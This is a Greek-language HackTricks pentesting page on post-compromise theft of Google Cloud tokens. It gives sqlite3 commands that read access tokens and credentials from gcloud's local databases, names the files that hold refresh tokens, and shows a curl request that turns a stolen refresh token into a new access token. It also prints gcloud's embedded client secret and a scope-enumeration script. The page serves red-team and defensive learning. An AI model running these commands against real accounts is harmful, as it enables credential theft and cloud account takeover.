Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!
Άλλοι τρόποι υποστήριξης των HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στα HackTricks ή να κατεβάσετε τα HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε Την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αυτές είναι χρήσιμες τεχνικές όταν, με κάποιον τρόπο, έχετε αφαιρέσει ορισμένα διαπιστευτήρια GCP ή μηχάνημα που εκτελείται σε ένα περιβάλλον GCP.
Για να λάβετε το τρέχον διακριτικό ενός χρήστη μπορείτε να εκτελέσετε:
{% code overflow="wrap" %}
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
{% endcode %}
Ελέγξτε σε αυτήν τη σελίδα πως να χρησιμοποιήσετε απευθείας αυτό το τοκεν χρησιμοποιώντας το gcloud:
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1" %}
Για να λάβετε τις λεπτομέρειες για τη δημιουργία ενός νέου τοκεν πρόσβασης εκτελέστε:
{% code overflow="wrap" %}
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
{% endcode %}
Είναι επίσης δυνατόν να βρείτε refresh tokens στο $HOME/.config/gcloud/application_default_credentials.json
και στο $HOME/.config/gcloud/legacy_credentials/*/adc.json
.
Για να λάβετε ένα νέο ανανεωμένο access token με το refresh token, τον αριθμό ταυτοποίησης πελάτη (client ID) και το μυστικό του πελάτη (client secret), εκτελέστε:
{% code overflow="wrap" %}
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
{% endcode %}
Η ισχύτητα των refresh tokens μπορεί να διαχειριστεί στο Admin > Security > Google Cloud session control, και από προεπιλογή είναι ρυθμισμένη σε 16 ώρες, αν και μπορεί να οριστεί να μην λήξει ποτέ:
Η ροή εξουσιοδότησης όταν χρησιμοποιείτε κάτι σαν το gcloud auth login
θα ανοίξει ένα παράθυρο στον περιηγητή και μετά την αποδοχή όλων των scopes, ο περιηγητής θα στείλει ένα αίτημα όπως το παρακάτω στη θύρα http που είναι ανοικτή από το εργαλείο:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Στη συνέχεια, το gcloud θα χρησιμοποιήσει την κατάσταση και τον κώδικα με ένα σκληροκωδικοποιημένο client_id
(32555940559.apps.googleusercontent.com
) και client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) για να λάβει τα δεδομένα τελικού ανανεωμένου τεκμηρίου.
{% hint style="danger" %} Σημειώστε ότι η επικοινωνία με το localhost γίνεται μέσω HTTP, οπότε είναι δυνατόν να παρακολουθηθούν τα δεδομένα για να ληφθεί ένα ανανεωμένο τεκμήριο, ωστόσο αυτά τα δεδομένα είναι έγκυρα μόνο μία φορά, οπότε αυτό θα ήταν άχρηστο, είναι πιο εύκολο απλά να διαβάσετε το τεκμήριο ανανέωσης από το αρχείο. {% endhint %}
Μπορείτε να βρείτε όλες τις εμβέλειες της Google στο https://developers.google.com/identity/protocols/oauth2/scopes ή να τις λάβετε εκτελώντας:
{% code overflow="wrap" %}
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
{% endcode %}
Είναι δυνατόν να δούμε ποιες είναι οι εμβέλειες που μπορεί να υποστηρίξει η εφαρμογή που χρησιμοποιεί το gcloud
για πιστοποίηση με αυτό το σενάριο:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Μετά την εκτέλεσή του ελέγχθηκε ότι αυτή η εφαρμογή υποστηρίζει αυτές τις εμβέλειες:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
Όπως και με τους εξουσιοδοτημένους χρήστες, αν καταφέρετε να διαρρήξετε το αρχείο ιδιωτικού κλειδιού ενός λογαριασμού υπηρεσίας, θα μπορείτε να έχετε πρόσβαση σε αυτό συνήθως όσο θέλετε.
Ωστόσο, αν κλέψετε το token OAuth ενός λογαριασμού υπηρεσίας, αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, επειδή, ακόμη κι αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο θύμα διαγράψει το ιδιωτικό κλειδί api, το token OAuth θα παραμείνει έγκυρο μέχρι να λήξει.
Φυσικά, όσο βρίσκεστε μέσα σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείτε να έχετε πρόσβαση στον λογαριασμό υπηρεσίας που είναι συνδεδεμένος με αυτή τη μηχανή επικοινωνώντας με το τέλος μεταδεδομένων (σημειώστε ότι τα tokens OAuth που μπορείτε να έχετε πρόσβαση σε αυτό το τέλος είναι συνήθως περιορισμένα από scopes).
Ορισμένες διορθώσεις για αυτές τις τεχνικές εξηγούνται στο https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2